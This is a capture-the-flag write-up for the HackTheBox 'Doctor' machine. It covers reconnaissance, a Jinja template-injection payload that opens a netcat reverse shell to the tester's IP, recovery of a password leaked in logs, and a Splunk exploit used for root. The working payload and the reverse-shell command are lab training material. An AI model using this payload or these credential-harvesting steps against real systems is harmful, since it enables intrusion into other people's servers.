Doctor — HackTheBox
TL;DR
A Linux server running a blog application that is vulnerable to Server Side Template Injection and also exposing a vulnerable Splunk API.
Foothold Recon
Start recon with a nmap scan.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open ssl/http Splunkd httpd
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Issuer: commonName=SplunkCommonCA/organizationName=Splunk/stateOrProvinceName=CA/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-06T15:57:27
| Not valid after: 2023-09-06T15:57:27
| MD5: db23 4e5c 546d 8895 0f5f 8f42 5e90 6787
|_SHA-1: 7ec9 1bb7 343f f7f6 bdd7 d015 d720 6f6f 19e2 098b
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
From the results there are only 2 ports open and hence this narrows down the avenues for exploit.
Navigating to the website hosted on port 80 you will see a “Send us a message” email address that will indicate a hostname of doctors.htb
.
It has been an habit to always <name of box>.htb to the hostfile. This is not always the hostname used by the application.
Add this hostname to your local hosts file (/etc/hosts — linux) and navigate to that endpoint. This will take you to a login page for a messaging portal.
Checking the headers of the response from the server you see that this is a Werkzeug Python server. One of the first things that should come to mind should be Server Side Template Injection if we can pass user input to the server.
Proceed to create an account by clicking on the “Register” link.
When you create an account you have a time limit of twenty minutes; the account will be purged. From the portal you are able to create a post and the home page lists all posts created.
Viewing the page source you will see there is an link that is commented out.
If you checkout this endpoint you will see that it renders and XML RSS list of all the post titles.
Now we can explore more on the SSTI. To test this out create a new post with Python jinja template syntax for the title and body. This template will contain a simple multiplication. If the server renders the title or body as the product of our multiplication you know that injection is possible. You will find no luck from the homepage.
If you check /archive
on the other hand will give the multiplication product as the title.
See linked SSTI article for full description of how the payload is created. On a high level you get to the object class from an string and from there you find a subclass that would allow you to execute shell command. The index 407 here is referencing “subprocess.Popen” .
Foothold
Putting everything together, you end up with the following payload for a reverse shell using netcat:
{{ config.from_object("os") }}{{ "".__class__.__mro__[1].__subclasses__()[407]("nc.traditional 10.10.14.56 4444 -e /bin/bash", shell=True, stdout=-1).communicate() }}
While you have listener at the designated port, proceed to create a post with the payload as the title and then access the archive endpoint.
listening on [any] 4444 ...
connect to [10.10.14.56] from (UNKNOWN) [10.10.10.209] 51642id
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
User Recon
When you land on the box you will be the user “web” who does not have the user flag; time to start looking for avenues to pivot to another user. Checking the /home directory you will see there is another user name shaun
.
web@doctor:/home$ ls
ls
shaun
web
For convenience you can add your pub key to the authorized keys file and ssh to the box as web.
You see that the current user is part of the “adm” hence this is an indicator that they have access to logs. This is where you should focus. You can run linpeas or grep for interesting words like “pass” in the /var/log directory.
[+] Finding passwords inside logs (limit 70)
Binary file /var/log/apache2/access.log.13.gz matches
Binary file /var/log/journal/62307f5876ce4bdeb1a4be33bebfb978/system.journal matches
Binary file /var/log/journal/62307f5876ce4bdeb1a4be33bebfb978/user-1001.journal matches
Binary file /var/log/kern.log.2.gz matches
Binary file /var/log/kern.log.4.gz matches
Binary file /var/log/syslog.5.gz matches
/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
From the logs we see a password reset wherein the email field has text that matches a password rather than an email — “Guitar123”. This could have been easily overlooked but having the mentality that users often make mistakes helps.
User Flag
With this password at hand you can pivot to the user account for “shaun” and grab the user flag.
web@doctor:/tmp$ su shaun
Password:
shaun@doctor:/tmp$ id
uid=1002(shaun) gid=1002(shaun) groups=1002(shaun)
shaun@doctor:/tmp$ cd
shaun@doctor:~$ ls
user.txt
Root Recon
For root, let’s revisit something that I skipped over in the beginning, splunk. From the linpeas result, you will see that splunk is running as root.
root 1137 ... splunkd -p 8089 start
There is a splunk exploit that can be used for this. An authorized user is required for this exploit. You can reuse the credential for the user “shaun”.
Root Flag
With this exploit and credential you can initiate a reverse shell
listening on [any] 4444 ...
connect to [10.10.14.254] from (UNKNOWN) [10.10.10.209] 49378
bash: cannot set terminal process group (1139): Inappropriate ioctl for device
bash: no job control in this shell
root@doctor:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@doctor:/# ls /root
ls /root
root.txt
root@doctor:/# hostname
hostname
doctor
Reference Links